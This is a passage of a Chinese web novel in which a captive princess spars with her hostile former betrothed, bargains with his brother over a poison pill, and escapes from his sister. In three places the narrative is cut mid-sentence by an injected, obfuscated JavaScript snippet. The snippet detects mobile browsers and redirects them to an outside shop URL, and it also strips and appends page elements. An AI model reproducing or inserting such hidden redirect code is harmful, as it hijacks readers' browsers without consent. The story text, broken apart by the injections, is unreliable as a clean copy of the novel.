在看见乌图勒点头后,乌玉胜朝后挥手,有两名在角落里的守卫迅速上前抓住了朱辞秋的肩膀。 他们将她带离了宫帐。 守卫打开帘帐推她出去时,骤然听见乌玉阙胜利般的笑容传来,“那是穆东风啊我的弟弟。” 这句话迫使朱辞秋转过头,在合上帘帐的一瞬间,她看见乌玉胜走回位置上的背影似乎一顿。 穆东风,穆老将军的次子。 乌玉胜曾与他相交七年。 朱辞秋并未被带回原先的营帐,而是被带着穿过宫帐走了三四刻钟,看见了那挂满人头的训练场。 那些人头,被挂在训练场的靶子上让人射击,被挂在门口供人观赏,甚至挂在那些火把上,被火烧焦了面容。 他们甚至没有闭上双眼。 “停下。”朱辞秋对两旁的守卫冷声说道。 但他们并不听她的话,只是更加迅速地穿过训练场。 朱辞秋知道他们根本不会听她的话,她只是又看了一眼那鲜血淋漓的训练场,被铁链捆住的双手紧握成拳,指甲将掌腹掐出血印。 她要踩着这些该死之人的骨血,一步一步往上爬。 也定会在明年冬日前,回到大雍。 又走了几刻钟,朱辞秋被守卫推入寝帐内。 寝帐内十分朴素,除去必要的生活物品外,几乎看不见任何一样装饰及杂物。 她又被守卫推着走向最里侧的床榻,坐在上面后,双手的铁链被解开。 朱辞秋活动了一下被铁链捆得酸痛的手腕,在那两名守卫走出寝帐后站起身观察着。 她到处翻找,却连一把剪刀都没看见。 看来乌玉胜早就将所有利器都藏了起来。 在坐到矮凳上,看向一旁梳妆台上的铜镜里的自己时,她忽然从角落缝隙间看见一抹并不明显的红色,伸手拽出来后发现那是一张很小的、被剪得很丑的双喜字。 大约过了一个半时辰,帐外传来熟悉的人声。 “都退下。” 朱辞秋坐在床榻中间,静静地等待着。 乌玉胜的脚步声越来越近,最终在距离她五步的位置站定。 他就那样沉默地看着她。 帐内噼里啪啦燃烧着的炭火,成了朱辞秋此时能唯一听到的声音。 她惯性地自上而下打量着乌玉胜,看见他腰间挂着有一串突兀的、红色的珠串。 在宫帐内时,她并未看见他身上有过这样一串珠子。 乌玉胜顺着她的视线低头,用手捏住自己腰间的珠子,开口道:“有人给我的。” “我们新婚的贺礼,福寿珠。” 他加重了新婚二字,再次逼近朱辞秋。他勾起她的一缕发丝,语气放肆,像地狱恶鬼的呢喃:“殿下,我来娶您了。” 朱辞秋闻到了乌玉胜身上浓烈的酒味,她轻轻抬起眼皮,笑着抓住他的衣领,让他往前离自己更近。 在他目不转睛地盯着她,不设任何防备时,她用另一只手摸向乌玉胜腰侧,将那佩刀瞬间拔出,挥向面前人裸露出来的脖颈处。 擦出血丝的瞬间,乌玉胜反手钳住朱辞秋,将她猛地推倒在床。 他半弓着身躯压在朱辞秋身上,却并未夺过佩刀,而是将她握住佩刀的手继续往脖颈深处递去。 “您真的想杀了我吗,殿下。” “穆家所有人,都死了。” 两句话同时说出口,一上一下的男人与女人,僵持在了这一刻。 4. 第四话 骤然安静的寝帐内,只有两人轻微的呼吸与心跳声。 良久,朱辞秋松开紧握佩刀的手,一脚踹开了身上的人,翻身站起来。 她站在乌玉胜面前,居高临下地看向他,声色皆无情:“我真的想杀了你。” 乌玉胜收起佩刀,双手撑着床榻看向她,笃定道:“但殿下不会杀我。” “现在不会。”朱辞秋道,“不代表以后不会。” 乌玉胜笑道:“那我便等着那一日。” 这是朱辞秋自入南夏后,第一次看见乌玉胜不带任何恶劣情绪的笑容,但她并未观赏许久,反而嘲讽道:“小少主今日心情很好?” “我大婚之日,合该心情好。” “可我觉得恶心。” 乌玉胜眼神一凌,先前笑容荡然无存,露出原本的阴鸷面目。他站起身,拽下腰间的福寿珠。 看着朱辞秋面不改色的脸,他忽然扬起手中的福寿珠,“啪”的一声,福寿珠猛然摔落在地,一颗颗小珠子蹦跃于空中,最后滚落在地上四处。一颗小珠子滚落在乌玉胜脚边,被他毫不留情地用脚碾碎。 “乌玉胜,”朱辞秋从怀中掏出那张被剪得很丑的囍字,她将这张囍字示于他面前,冷笑一声,“这样的把戏我只会觉得恶心。” 言罢,她便当着他的面,亲手将这张囍字撕碎,扔在了他脸上。 乌玉胜早知她会在这寝帐内翻找趁手的东西,他故意将这剪纸放在此处,引她发现。又故意露出少时般的笑容,让她恍惚。 朱辞秋看着呆站在原地的乌玉胜,忽然觉得心情大好。她走近一步,伸出食指狠狠戳向乌玉胜的心口之处,她笑得如天外仙,可语气却张狂,“当年一剑之仇,他们都说你恨极了我。” “于是你向乌图勒谏言,让我来此和亲故意折磨我。” 她抬头看向乌玉胜,食指缓缓擦过他的薄唇。她踮起脚,在他耳畔轻声说道:“可乌玉胜,你真的,恨我吗?” 未等乌玉胜作出反应,朱辞秋便率先抽手远离了他身侧。 “我为何不恨你?”朱辞秋转身时,听见乌玉胜突然开口,“朱辞秋,你别自大了。” 他冲到她面前,将衣衫猛地撕扯开,露出心口那道狰狞的伤疤。 三年前的鲜血与伤口已经愈合,只留下再也消不掉的狰狞疤痕。就像是那一剑,会一直在他们之间,无法泯灭。 乌玉胜一手扯住衣衫一手拽起朱辞秋的手腕,让她触碰到那道伤疤。 “当年我坠下断崖,心口被剑刺穿,浑身碎骨,我能活下来是我命大!”他面目狰狞又狠戾,就像那疤痕一样,“我与你和亲,就只是想折磨你,让你一辈子都活在被我恶心之中。你算什么啊朱辞秋,你只不过是阶下囚罢了!” “那恭喜你。”朱辞秋直视着乌玉胜,淡然一笑,“你做到了,我这辈子都会恶心你。” 乌玉胜捏着她手腕的力道越来越大,似乎只要一瞬间,她的手腕便要被面前这个被激怒的男人所折断。 可她不惧,她原本就没打算让自己不受伤。 只有在今日,在乌玉胜底下受些伤、吃些苦,她才能见到想见的那两人,也或许是其中一个。 可乌玉胜忽然放开了她,他连衣衫都未穿齐整便将她揽腰扛在肩上,将她扔在了床榻之上。 朱辞秋的背猛磕在坚硬的木板之上,让她不自觉用手摸着背撑起身体,她看着面前这个满脸阴郁恶劣的男人,仍想激怒他:“你做什么?想霸王硬——” 她的一句话还未说完,乌玉胜便立马弯腰用嘴咬住了她的嘴唇。 朱辞秋脑袋空白一瞬,痛意与愤怒霎时充斥着她全身,她使出全身力气推开乌玉胜,扬起手掌扇向他。 这次却被乌玉胜猛然抓住手腕。 他摸了摸自己的唇,笑得疯狂,又抓着朱辞秋的手腕继续俯身逼近。他附在她耳畔,轻轻吹了一口气,“殿下想惹怒我?那殿下也做到了。” “可臣说过,臣不会让殿下如愿。” 乌玉胜将朱辞秋的手甩下,缓缓起身,又慢慢整理衣衫。 她轻抬眼皮,冷笑一声却不说话。 “别想耍花招,殿下。”乌玉胜站在她面前,挡住了所有光亮。 朱辞秋瞥见他腰间的佩刀,忽然抬头朝他一笑。 “穆雨生。” 这个名字叫面前的男人骤然一愣,连喘息声都慢了下来。 朱辞秋却趁此时猛然倒向前,伸手迅速拔出佩刀,反手在自己的腹部猛然一插又拔出。 不过一瞬的工夫,她的目的就已完全达到。 当乌玉胜反应过来时,朱辞秋的腹部已经开始从外渗出许多鲜血,将她的双手全部浸染成红色。 她看见乌玉胜立马面露狰狞,猛然夺回她手中的佩刀。 “乌玉胜,我赢了。”她看着他,笑道。 此话说完,却见面前的乌玉胜忽然蹲下身,与她平视。 他并未说话,而是露出偏执又疯狂的眼神,朝着她笑了笑。 朱辞秋似乎预感到他要做什么,便想起身抢过佩刀,但乌玉胜侧身躲开后眼睛望向她,手中动作立马将尚未回鞘的佩刀刺向自己的腹部。 那个位置,曾是朱辞秋看见过的深可见骨的伤口处。 她一时没有反应过来,就那样愣怔地盯着他的动作,喃喃地说了一句:“那里的伤,好全了吗?” 但乌玉胜已经转身离开了床榻,正在朝门口走去。 他有没有听见这句话,朱辞秋并不知道。 她只听见乌玉胜在门口怒吼:“找医师过来!” 帐外便一阵躁动,一刻钟后,乌玉阙领着满头大汗的医师来了。 乌玉胜却不见人影。 乌玉阙看见床榻上的朱辞秋又受了伤,他状似意外道:“怎么又受伤了啊怀宁殿下?” 朱辞秋勾起嘴角:“托大少主弟弟的福。” “新婚之夜,这不太好吧?” “大少主,若不想我死在此处,就速让医师给我包扎吧。” 乌玉阙这才朝后挥手,让医师前去给朱辞秋包扎。 床榻前的掩帘被医师放下后,乌玉阙忽然道:“王弟果然是在中原生活了七年的人,帐内居然还有这样无用的东西。” 朱辞秋懒得理他。 但乌玉阙又道:“听闻怀宁殿下曾与王弟有过婚约?如今你二人也是再续前缘,怎么这般大打出手?不应该啊?” 朱辞秋冷笑一声:“我与他不共戴天,这世间,不是他死就是我亡。” 乌玉阙愣了一下,忽然笑了:“怀宁殿下,是因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438431|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王弟杀你将士数万吗?那这样的话,我整个南夏,都该与你为敌啊!” 朱辞秋隔着掩帘看向乌玉阙,身上的伤口因为药酒的触碰变得越发疼痛难忍,她忍住颤抖着声线,轻轻一笑:“乌玉胜欺我辱我,我曾一剑斩之,如今又害我至此,我恨之。若要分个先后,我也定会先除他。” “怎么除?” “自然是,让他够云端后又摔下来,粉身碎骨再无回旋之地。” “哈哈哈哈哈哈!”乌玉阙抚掌大笑,在这帐内兴奋到踱着步子,“领主欣赏你果然不是没有道理的,怀宁殿下,就连我,现在都十分欣赏你了!” “不过,你困于囚牢,如果让他够云端?” 朱辞秋望着乌玉阙,声色渐暖:“若大少主愿信我,我可助大少主一臂之力。” “我能在乌图勒手中活到现在,可不是靠着毫无用处的盟约与和亲。我知你与乌玉胜早就不和,不如让我来替你将他除掉,让你重归原位。” 掩帘外的乌玉阙站在朱辞秋对面,沉默地看着她。 直到医师将伤口处理完后,乌玉阙才回过神。 “考虑得如何了?大少主。”掩帘被打开后,朱辞秋坐在床榻上,苍白的面色并没有掩盖她的容颜,反而更添一分柔弱姿态。 她勾着嘴角,笑了起来。 就像是在引诱谨慎的猎物放下戒心一般。 乌玉阙从怀中掏出一个小瓶子,将它扔在了朱辞秋身旁。 她伸手拿起来后,乌玉阙道:“吃下这个,我便信你。” “这是何物?” “回转丸。” 朱辞秋一下子了然。 回转丸是南夏毒药,极难炼制,但也极为珍贵。人服下后需每隔一月服用解药缓解毒发,若不服用解药,便会在该服解药的第二日毒发。 毒发并不能致人立马身亡,它会先将人的皮肤溶解,再是骨头,最后是内脏。 若不服用解药,服毒之人将会亲眼看着自己的身体从健康走向溃烂,最后死亡。 乌玉阙的妻子是巫族之女,巫族勇士多,善医善毒之人也多,想必这药便是他妻子给他的。 朱辞秋缓缓倒出瓶中之物,将它放在手中摩挲了几下,忽然看向乌玉阙,问道:“苦吗?” 这话倒让乌玉阙愣了下,随即便道:“我怎么知道,我又没吃过。” 朱辞秋捏着手中那一小点药丸,朝乌玉阙展示一番后仰头吃了下去。 “你真吃了?”乌玉阙看着她的动作,反而皱着眉头,“你就这么恨乌玉胜?” 朱辞秋咳嗽两声,用手抓着床沿,道:“恨不得饮其血,啖其肉消我心头之恨。” 乌玉阙挑眉:“可我也杀了你们大雍不少人,你不恨我吗?” “我已经吃下回转丹,性命都握在大少主手中,大少主又何须担忧呢?”朱辞秋道,“况且,他们为大雍而败,虽死犹荣。” “好一个虽死犹荣,果然是皇室之人。”乌玉阙朝她大笑,像是认可她一样。 “以后每月今日此刻,我都会命人来此地送解药。”最后说了一句话后,乌玉阙满意的离开了寝帐。 朱辞秋望着门口,想着冬天应当快要过去了。冬天过去了,南夏人的春狩就要开始了。 那是她的,机会。 5. 第五话 春狩在每年的二月至三月间,春狩期间,各部落族会齐聚在赤格鲁草原,会切磋武艺、比拼猎术,甚至在每日的晚间篝火时,各族的勇士及少女,会互相相看,定下婚约。 但有些人的婚约,从不会简单到只因为两个人两情相悦就定下的。 现下离春狩还有个把月,朱辞秋便暂时敛去心中思绪,不自觉地望向门口。照明的烛火在空中忽闪忽闪的,她不知看了多久,竟有了些倦意。于是便松了绑着头发的绳子后,躺在床上唯一柔软的被子上。 被子上的味道有些熟悉,像是乌玉胜身上那不爱熏香常用皂角,又多带了些露珠与青草的清香。 半梦半醒之间,她似乎想起了一桩许久未曾想起的往事。 建昌六年初春,乌玉胜替穆老将军回京受赏,也因他自己曾在去年斩下南夏将军头颅而进京受赏。 朱辞秋那年十六岁。她已经一年没有见过乌玉胜了,在听到这个消息后一时都未反应过来。 待乌玉胜刚入京,侍女从外而来,将外头的消息说与她听:“殿下,穆将军刚已入京觐见了。” 朱辞秋一愣,手中的书掉在桌案上,在听见这句话时,呼吸竟然也慢了些许。 她装作淡定地点点头,重新拿起书想要阻止因这句话而不停剧烈跳动的心,却无论如何都在那声穆将军已入京中,回不过神。 乌玉胜不常回京,但也不会像穆老将军一家那样一直不回京。他是穆老将军捡回来的孤儿,在军中是穆家二郎穆东风的副将。 京中若有什么需要穆家回京的差事及奖赏,穆家都会派乌玉胜进京。而乌玉胜也只待个十日左右便会离京回西北,他也会在这十日内寻个机会偷溜入公主府找她,将一路所见所闻的趣事悉数讲与她听。 “方才奴婢问了宫里的人,说是穆将军并未要赏赐,而是求陛下让他待到春日宴后。”侍女说道,“不过下朝后,陛下还将穆将军单独叫到御书房了。” 朱辞秋点点头,不自觉地出声:“春日宴半月后才开,他待这么久做甚?” 侍女摇了摇头,说她也不知。 这半月间,朱辞秋也未见到乌玉胜一面。 直到春日宴当日,她看见了他。 只对视的一刹那,乌玉胜便屁颠屁颠地跟在朱辞秋身后到了一处无人的凉亭。 乌玉胜又长高了许多,西北的风沙将他的面庞削得越发锋利成熟,唯有眼神与气质仍跟初见时那般自由肆意。他穿着平日从不会穿的红衣,竟意外地打扮起来。 少年面容越发成熟,鼻侧的痣在阳光下熠熠生辉,给那扬在阳光下的笑容又添一分俊秀明朗。 只看见他的一瞬间,朱辞秋便猜出乌玉胜的意图,心中不知何处来的烦躁让她罕见地瞪了眼笑着看她的乌玉胜,冷声道:“穆将军看上哪家小姐了,本宫去给你提亲去。” 乌玉胜一愣,朝她走了一步。但朱辞秋又退一步。 “殿下,许久未见,您便这样对臣吗?”乌玉胜见状,渐渐收起笑容低垂着眼,像是被主人吼过之后伤心的小狗。 朱辞秋此刻没被面前人的表情迷惑,她冷哼一声,语气里带着是自己都不知道委屈控诉:“将军回来半月有余,本宫只在今日见过将军,可不是许久未见吗。” 乌玉胜低下头,笑道:“殿下生气啦?” “臣当日实在狼狈不堪,身上许多伤还未好全,怕冲撞殿下,是以不敢入公主府见殿下。臣特意向陛下求了多待几日,这样便能在伤好后见到殿下。” 这倒是让朱辞秋愣住了,她抬起头看向面前逐渐成熟的少年,见他眼中笑意快要溢出来了,面上也一副求夸奖的模样。 “你伤哪儿了?”朱辞秋别开脸,不自然地问道。 “如今已无大碍,殿下莫要担心。”乌玉胜笑意盈盈。 朱辞秋与他在这凉亭待得太久了,免不了会叫外头的人生疑。 于是她一面缓缓朝外头宾客间走着,一面状似不经意地问乌玉胜:“你为何不要奖赏?” 乌玉胜走在她身后,轻飘飘地开口:“因为臣有更想要的奖赏。” 朱辞秋顺势问下去:“什么奖赏。” 察觉到身后的脚步声忽然止住,意识到乌玉胜忽然停下后,她转过身看向他,再次问:“你想要什么奖赏?” “殿下,”乌玉胜朝她多走一步,将两人之间的距离再次拉近,说了句与现在不合时宜的话:“南夏很快又会进犯了。” 朱辞秋本想回答那又如何,却见乌玉胜忽然从袖中拿出一个小木盒。 她看着他将那木盒打开,露出里头的物件。 是一个玉镯,成色不佳也并不名贵。 但乌玉胜却说:“这是臣身上唯一一件,父母留下的东西。臣想让殿下替臣保管。” 朱辞秋盯着那玉镯,沉默半晌,问道:“为何要本宫替你保管?” “臣无父无母,因此无法求父母之命。”乌玉胜低着头,面容越发真切,眼里的爱意似乎要将她完全吞没。 “臣也无万贯家财,无滔天权势。只有一颗真心,一颗想让殿下离开这里,去更广阔的天地中纵情肆意的心。” “殿下,臣想要的奖赏,便是娶殿下为妻。” “臣会在明年春日彻底击溃南夏,以军功求娶殿下。” 朱辞秋抬起头,看着乌玉胜。 她后来说了什么呢?她不记得了。 她睁开眼,看着床顶上的南夏雕塑,挥去了心中的梦境。 外头天光已经大亮,乌玉胜一夜未归,朱辞秋也乐得自在。 “怀宁殿下醒啦?” 乌玉阙这厮忽然从门口进来,像是这寝帐是他的一般。 他坐在四方矮桌旁,说道:“昨夜太过匆忙,没来得及问殿下,你接下来要做什么?” 他像是想起什么,补充道:“哦对了,昨夜乌玉胜去了领主帐内,今日领着亲兵不知道去哪了。你猜他跟领主说了什么?” 朱辞秋整理了下衣裳的褶皱,坐在床沿边上,她看着一脸探究阴狠的乌玉阙,淡淡道:“你很无聊吗大少主。知道他去哪儿之后又要找人埋伏他?你手底下的兵比得过他的?” “喂!”乌玉阙站起身,大喝一声,“你什么态度,我现在可拿捏着你的命!” 朱辞秋忽然笑了,“你觉得,你连着两日来这里,你父亲乌图勒知不知道?” 乌玉阙一愣。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438432|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “乌图勒不仅知道,他甚至还会助你一臂之力。” “为什么?”乌玉阙不自觉问出口。 朱辞秋站起身,腹部的伤口被扯得有些疼,她轻声吸了一口气,走向乌玉阙,“大少主答应我一件小事,我便告诉你。” 乌玉阙皱起眉头:“什么事?” “给我找几套合身的衣裳,让我梳洗一番。”朱辞秋道,她指着乌玉阙腰间的佩刀,“我还要这个。” “你要刀?不行。”乌玉阙迅速拒绝,“前面那个我可以答应你,刀不行。再说了,你要刀干嘛?” “防身。” “不行。” 朱辞秋见状便顺了顺自己披散的头发:“那我要一支发簪,头上无珠翠,我不习惯。” 乌玉阙哼笑一声,“怀宁殿下还真是贵气。行吧,我答应你。说吧,为何我父亲不会阻止我?” “中原有一句话,坐山观虎斗。”朱辞秋抬起头,“乌玉胜在南夏人眼中,如今可是战神般的存在。领主儿子的风头盖过了领主自己,他自然忌惮乌玉胜。” 乌玉阙疑惑:“可父亲平日格外看重乌玉胜。” 朱辞秋看着他沉默了一会,忽然笑了,“大少主,你仔细想想,你们王族除了乌玉胜还有可用的人吗?他不想用,也必须用乌玉胜。” 乌玉阙想反驳,她立马开口:“可我能助你,能让你与乌玉胜抗衡。而你父亲,他想看到的,就是如此。因为他需要,也想要让乌玉胜的势力逐渐被削弱。” 乌玉阙沉默许久,似乎在思考她所说的话是否属实。 良久,他终于开口:“怎么助我?” 朱辞秋淡然一笑:“春狩前,夺护卫之权。” “怎么夺?” 她伸出手,示意乌玉阙附耳过来。 待说完后,后者又再次沉默,盯着她的眼神越发震惊,“怀宁殿下,我真的越来越欣赏你了。” “此计若成,我还想求大少主一件事。”朱辞秋望向门口,“将那些头颅,替我安葬了。” 乌玉阙大方地摆手,笑道:“这等小事,我答应你了!” 爽朗雄厚的嗓音让朱辞秋衣袖下的手再次攥紧。但现在并不是清算的时候。 事妥之后,乌玉阙果然命人将她带至洗浴之地,还给她找了好几身较为合身的衣裳。 而在衣裳之间,确有一只发簪。那是她入南夏换下的钗环中的其中一只。 朱辞秋腹部的伤口让她只能简单擦拭一下身上,她穿好衣衫将那只本就属于她的发簪别在自己头上,又跟着守卫回到了寝帐内。 自昨日她与乌玉胜在乌图勒面前磕过头,且在晚上互刺对方后,帐外看守的那些守卫便都不见了。 但她仍不能四处乱走,若出了乌玉胜寝帐附近,便会有人厉声呵斥用狼刀将她逼退至帐内。若要去何处何地,须得由他们领着去,不过这也仅限于洗浴或如厕。 她仍旧是被关在牢狱之中,只比之前轻松一些。 朱辞秋看着刚被送进来的牛肉午餐,又用筷子挑挑拣拣,却忽然听见门口有一阵骚动。 一少女的声音骤然传入她耳中。 “都给我滚开!” 6. 第六话 朱辞秋放下筷子,偏头往门口看去。 帘帐厚重紧闭,遮蔽了多数外界动静,但仍会有一些被光照入内的影影绰绰的人影。 她站起身,朝门口走去。帐外那些守卫想来是看见这少女怒气冲冲地朝此地而来,这才从暗处出来拦在门口。 那守卫用南夏话朝少女恭敬道:“小少主有令,不让任何人入内。公主莫要再为难属下。” “可笑!”那少女笑了一声,转而冷声呵斥:“大王兄昨日今日都来找过她,你们都当我眼瞎?!” 话音刚落,朱辞秋便听见外头忽然“霹嗒”一声,像是长鞭狠狠打在地上的声音。 想来这便是乌图勒极为宠爱的小女儿,也是唯一一位女儿,乌纳兰。 也是与乌玉胜一母同胞的妹妹。 帘帐忽然被长鞭狠狠一抽,透着光的帘帐被抖落下许多细小的灰尘,朱辞秋被声音吓了一跳。 感觉到外头愈发僵持不下,她主动地伸手掀开了帘帐。她倒想知道,这位身受万千宠爱的南夏公主,要找她做甚。 此时刚过午时没多久,深冬过去后,日光也逐渐暖和起来。 但朱辞秋却还是觉得冷,因此在身上披了件厚重外套,与面前的这位十六七岁的少女形成鲜明的对比。 她骤然掀开帘帐出现在门口,门外诸人安静一瞬。趁此时,朱辞秋又自上而下地打量着乌纳兰。 乌纳兰只穿着窄袖长袍,腰间佩着金玉镶嵌的琉璃珠,红丝绳将乌黑头发梳成两条大辫子,并未戴其他发饰。 她和乌玉胜的眼睛真的很像,气质与神色却迥然不同。 张扬、活力、有生机。她浑身上下都充满因为在草原上肆意生长着,生出的自由与野性的风。 “你就是那个大雍的怀宁公主?” 乌纳兰朝一面朱辞秋逼近,一面收起手中长鞭,将它塞回自己腰间。 两旁守卫本想呵斥朱辞秋回帐内,却被乌纳兰身后的两名侍女强行连拉带拽地拖走了。 乌纳兰围着朱辞秋转了一圈,最后停在她面前,眼中充满不屑:“看着也不过如此。” 她淡淡一笑:“比不上公主风华绝代。” “你们大雍人惯会骗人。”乌纳兰瞪了一眼朱辞秋,瞥见她身上厚重的外套,伸手将那外套挑落在地,挑眉横竖,“你就这么金贵?” 朱辞秋不动如山,她只是笑着注视着面前的少女,就像是一只没有任何威胁的羔羊。 乌纳兰见她不回答自己的话,面上愈发暴躁:“你为什么不说话!” 朱辞秋问:“公主想让我说什么?” 她的态度让乌纳兰瞬间炸开,她随手指了一处方位,道:“你杀了那么多人,为什么还能一副高高在上无所谓的姿态?你不会忏悔吗?” “敢问公主,我杀了谁呢?”朱辞秋将乌纳兰今日来找她的原因大概猜出一二,却仍想继续问问面前的少女。 乌纳兰气极反笑,她将右手拇指与食指圈成圈,吹出一声清脆的哨声后,不远处跑来一匹红棕色的马,它稳稳地停在乌纳兰身侧,又用自己的头去蹭她。 乌纳兰轻轻拍了拍它的头,小声地说了句:“真乖。” 然后她灵巧地翻身上马,怒视着朱辞秋,“我今天来,就是要让你跪在他们面前忏悔。” 朱辞秋抬起头,沉默地望向马背上的少女。 乌纳兰双腿打马,在原地转了个圈。她不情愿朝朱辞秋伸出手,又不耐烦地继续道:“上来。” “公主带我去何处?”朱辞秋后退一步,摇摇头,“我出不去王帐。” 乌纳兰冷笑一声:“笑话,这里还没有我带不出去的人。” 说罢,乌纳兰半侧身子离开马背,强行拽住朱辞秋的胳膊。 朱辞秋挣扎几下,腹部的伤口又被扯得有些疼,她见时机差不多了便顺势被乌纳兰拉上了马。 面前少女立马松开她,拉紧缰绳,轻喝一声“驾”。身下红棕马立马朝寝帐身后的方向撤去。 王帐的守卫见乌纳兰将她带走,想举起狼刀阻止却又犹豫不决,直到乌纳兰从怀中掏出什么东西后,大喝一声:“还不滚开!” 那么守卫才纷纷放行。 朱辞秋回头望向寝帐,营帐层层交叠的王帐之地中心地带越离越远,营帐也越来越少。 呼啸的风与不断变换的景象,让她呼吸到一丝清新的空气,她甚至都有心情左右偏头看着周遭的风景。 草原上的雪已经化了一些,裸露出的草皮干燥枯黄,马蹄将枯草踏碎,散发出泥泞的泥土般的味道。 乌纳兰带着她在草原上一路狂奔,也不知道过了多久,也不知道乌纳兰将她带到了什么地方,她忽然看见了一条横亘在草原中间的河流,上头结着薄冰。 乌纳兰紧拽缰绳,翻身下马后朝朱辞秋道:“愣着干吗!还不快下来!还想让我拽你?” 朱辞秋跟在乌纳兰身后走至河边,又沿着河往上游走去。 日暮将近,她才看见架在河流之上的一座小木桥。 乌纳兰将红棕马拴在木桩上,又拍了拍马的头,说道:“在这乖乖等我。” 朱辞秋被她用怀里掏出的绳子捆住双手,将绳子的另一端拽在她自己手中,又跟在她身后穿过木桥,往草原深处走去。 一边走着,一边乌纳兰看着始终沉默如旧的朱辞秋,忽然发问:“你为何不问我带你去哪里?” 朱辞秋平淡地反问:“我问了,公主会答吗?” 乌纳兰愣了下,又迅速斩钉截铁道:“不会。” “所以,我问与不问,都是一样的。”朱辞秋看着前面的少女,随口一说。 这话说完后,乌纳兰也不说话了,只闷头往前走,而朱辞秋则一边走一边四处观望。 又走了约两三刻钟,朱辞秋看见前面出现了星星点点的火光,直到走近时,才发现那里有许多的毡包,多到她数不过来,看不到尽头。 她跟着乌纳兰走近,看见这里没有守卫,也没有什么武器。 只有年迈的老人,皮肤被晒得黝黑粗糙的女人,还有到处疯跑的小孩与被背在干活的女人身上的婴儿。 她们看见乌纳兰后都十分恭敬。 有人也会问:“公主怎么又回来了?” 乌纳兰笑着逗了逗女人背上熟睡的小孩,说道:“我忘了点东西,去那边拿一下。” 女人疑惑又警惕地看向被捆住的朱辞秋,这明显是个大雍人,于是犹豫道:“那她……是?” “啊,路上抓到的大雍俘虏,我正要拿她去祭奠他们呢。”乌纳兰将朱辞秋往自己这方一拉,将她拽到自己身后。 听见大雍俘虏四个字后,周遭所有人的眼神都变了。 她们哀伤又痛苦,仇恨又怨毒地盯着她。有人开始小声地咒骂,可一旦有人开了这个头,那么所有人都会将心中积攒的怨气与愤怒全部倾泻而出。 她们将可以扔向朱辞秋的东西全部扔在她身上,小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朱辞秋在乌纳兰崩溃时,一边默默地摩挲着手中的绳子,一面低垂着头,问道:“你喜欢阿鹿?” 乌纳兰呆呆地点点头。 “可挑起战争的,是公主的父亲啊。”朱辞秋的似魅惑,又似安慰,“如果不是他,阿鹿不会死,我的将士也不会死。” “不……不是……”乌纳兰挣扎着反驳,“父亲只是想,给南夏更好的生活。” “那他做到了吗?” 乌纳兰沉默了。 朱辞秋见夜色渐暗,她悄悄地侧过身子取下头上的发簪,反手握住将绳子缓缓割开。 她蹲在乌纳兰面前,看着因为失去心爱之人而伤心痛苦的少女,温柔一笑。 然后立马将手中的发簪刺入乌纳兰肩膀处,让乌纳兰吃痛清醒。 在乌纳兰捂住肩膀反击时,她又立马站起身躲过,在乌纳兰身后将方才捆着她双手的绳子缠绕过她身体。 好在绳子够长,能让她将乌纳兰与一旁的枯树捆在一起。 “你!”乌纳兰挣扎着,但肩膀的伤口让她吃痛,只能愤愤地瞪着她,“你!” “公主,日后多跟你的王兄们学学防身之术吧。”朱辞秋在渐出的月光下淡然一笑,然后转身潇洒离去。 “对了,公主的坐骑借我一用,不日便还。” 说罢,她便捂着腹部的伤口朝着外头走去,又弯弯绕绕地躲过那群毡包扎堆之地。 7. 第七话 夜晚的草原辽阔寂静如无底洞般,前方看不见一丝光亮,唯有头顶上的月亮指引着朱辞秋往那拴着红棕马的桥梁处而去。 但她毕竟不熟悉这里,又为了绕过巴忽齐部落的驻扎之地往更为偏僻的地方走着,只能凭着来时不停观察四周的记忆摸索着往前走。 她腹部的伤口疼痛难耐,只能停下步子,寻到一处较为干净的地方,艰难地将纱布解开后,从怀里掏出早前乌玉胜扔进轿内的伤药,咬着牙地涂抹了几下,又把那纱布换了个较为干净的一处重新缠上,这才稍微缓解了一下出血与疼痛。 这里应当是赤格鲁草原的边界,想必再往深处去便是喜塔拉雪山地界了,喜塔拉雪山并非只有一座,而是无数座。 雪山连绵起伏,将草原包围住,积雪从山顶化成溪流,滋润着那养育了无数生命的草原之地,因此被南夏人称为神山。 也不知走了多久,朱辞秋冻的牙齿都在打颤,她望着远方,似是瞧见了被月光照的波光粼粼的河流,但又恐是海市蜃楼,因此仍不敢有丝毫懈怠。 待确切看见那被拴在桥旁的红棕马时,她才敢缓缓放慢步子。 一面往前行,一面思考着。 白日向乌玉阙说过的计策第一步,不承想这般快就实现了,但却不知乌玉阙那蠢材会不会以为这是她的计策了。 她忽然停住,看着皎洁的月亮。 鼻尖能够闻到淡淡的清香,身旁的风若不这么刺骨的话,想来她应该是很喜欢的。 她也喜欢乌纳兰那样自由的风,不被束缚着的胆大妄为,与,无知无畏。 曾经不愿再被困于高大的红墙之内,因此故意在母后死后装作痛苦不愿见熟悉之物,求父皇提前添置公主府给她。 